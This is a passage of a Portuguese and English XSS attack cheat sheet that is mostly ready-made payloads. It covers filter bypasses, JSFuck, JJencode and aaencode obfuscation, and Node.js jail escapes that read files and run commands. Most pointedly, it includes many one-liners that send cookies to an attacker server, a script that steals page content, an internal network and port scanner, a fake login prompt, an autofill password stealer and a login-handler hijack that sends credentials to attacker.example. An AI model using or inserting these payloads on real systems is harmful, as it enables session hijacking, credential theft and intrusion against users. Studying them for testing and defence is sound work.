Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Existe JS code que está usando dados usados de forma insegura controlados por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.
Devido à extensão da explicação de DOM vulnerabilities it was moved to this page:
Lá você encontrará uma explicação detalhada do que DOM vulnerabilities são, como são provocadas e como explorá-las.
Além disso, não esqueça que no final do post mencionado você pode encontrar uma explicação sobre DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. Entretanto, se você encontrar um subdomínio vulnerável a XSS, você pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo disparar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso você pode usar o cookie tossing attack:
Você pode encontrar um ótimo abuso dessa técnica em this blog post.
Sending your session to the admin
Talvez um usuário possa compartilhar seu perfil com o administrador e, se o self XSS estiver dentro do perfil do usuário e o administrador acessá-lo, ele acionará a vulnerabilidade.
Session Mirroring
Se você encontrar algum self XSS e a página web tiver session mirroring para administradores, por exemplo permitindo que clientes peçam ajuda e, para o administrador ajudá-lo, ele verá o que você está vendo na sua sessão mas a partir da sessão dele.
Você poderia fazer com que o administrador acionasse seu self XSS e roubasse os cookies/sessão dele.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Você pode verificar se os valores refletidos estão sendo unicode normalized no servidor (ou no cliente) e abusar dessa funcionalidade para contornar proteções. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Devido ao RoR mass assignment aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.
Exemplo de formulário (from this report), se você enviar o payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
O par “Key”,“Value” será exibido assim:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Então, o atributo onfocus será inserido e ocorre XSS.
Combinações especiais
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Se você descobrir que pode inject headers in a 302 Redirect response pode tentar fazer com que o navegador execute JavaScript arbitrário. Isso não é trivial, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status HTTP for 302, então apenas um payload de cross-site scripting é inútil.
Em this report e this one você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Apenas Letters, Numbers and Dots
Se você consegue indicar o callback que javascript vai executar limitado a esses chars. Read this section of this post para descobrir como abusar desse comportamento.
Valid <script> Content-Types to XSS
(From here) Se você tentar carregar um script com um content-type como application/octet-stream, Chrome exibirá o seguinte erro:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Os únicos Content-Types que permitirão que o Chrome execute um loaded script são os que estão dentro da const kSupportedJavascriptTypes de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipos de Script para XSS
(De here) Então, quais tipos poderiam ser indicados para carregar um script?
<script type="???"></script>
A resposta é:
- module (padrão, nada a explicar)
- webbundle: Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um único arquivo
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permite melhorar a sintaxe de importação
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Esse comportamento foi usado em this writeup para remapear uma biblioteca para eval; abusar disso pode disparar XSS.
- speculationrules: Essa funcionalidade serve principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types para XSS
(A partir de here) Os seguintes content types podem executar XSS em todos os navegadores:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? não está na lista mas acho que vi isso em um CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Em outros navegadores outros Content-Types podem ser usados para executar JS arbitrário, veja: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Se a página estiver retornando um content-type text/xml, é possível indicar um namespace e executar JS arbitrário:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Padrões Especiais de Substituição
Quando algo como "some {{template}} data".replace("{{template}}", <user_input>) é usado. O atacante poderia usar substituições de string especiais para tentar contornar algumas proteções: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Por exemplo em this writeup, isto foi usado para escapar uma string JSON dentro de um script e executar código arbitrário.
Cache do Chrome para XSS
XS Jails Escape
Se você tem apenas um conjunto limitado de caracteres para usar, consulte estas outras soluções válidas para problemas de XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tudo está undefined antes de executar código não confiável (como em this writeup) é possível gerar objetos úteis “do nada” para abusar da execução arbitrária de código não confiável:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Acessando
requireindiretamente
According to this os módulos são encapsulados pelo Node.js dentro de uma função, assim:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Portanto, se a partir desse módulo pudermos chamar outra função, é possível usar arguments.callee.caller.arguments[1] dessa função para acessar require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De forma semelhante ao exemplo anterior, é possível usar manipuladores de erro para acessar o wrapper do módulo e obter a função require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diferentes obfuscations em uma página: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Mais sofisticado JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Payloads comuns de XSS
Vários payloads em 1
Iframe Trap
Faça o usuário navegar na página sem sair do iframe e roube suas ações (incluindo informações enviadas em formulários):
Retrieve Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Você não poderá acessar os cookies a partir do JavaScript se o atributo HTTPOnly estiver definido no cookie. Mas aqui você tem some ways to bypass this protection se tiver sorte.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Encontrar IPs internos
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tempos curtos indicam um port que responde Tempos mais longos indicam que não há resposta.
Consulte a lista de ports bloqueados no Chrome here e no Firefox here.
Caixa para solicitar credenciais
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Captura de senhas por preenchimento automático
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se um handler crítico (por exemplo, function DoLogin(){...}) for declarado mais tarde na página, e seu payload executar mais cedo (por exemplo, via um inline JS-in-JS sink), defina um const com o mesmo nome primeiro para preemptar e bloquear o handler. Declarações de função posteriores não podem rebindar um nome const, deixando seu hook no controle:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notas
- Isso depende da ordem de execução: sua injection deve ser executada antes da declaração legítima.
- Se seu payload estiver envolvido em
eval(...),const/letbindings não se tornarão globais. Use a técnica de injeção dinâmica<script>da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir um binding global verdadeiro e não reatribuível. - Quando filtros por palavras-chave bloquearem código, combine com identificadores escapados em Unicode ou entrega via
eval(atob('...')), como mostrado acima.
Keylogger
Ao pesquisar no github, encontrei alguns diferentes:
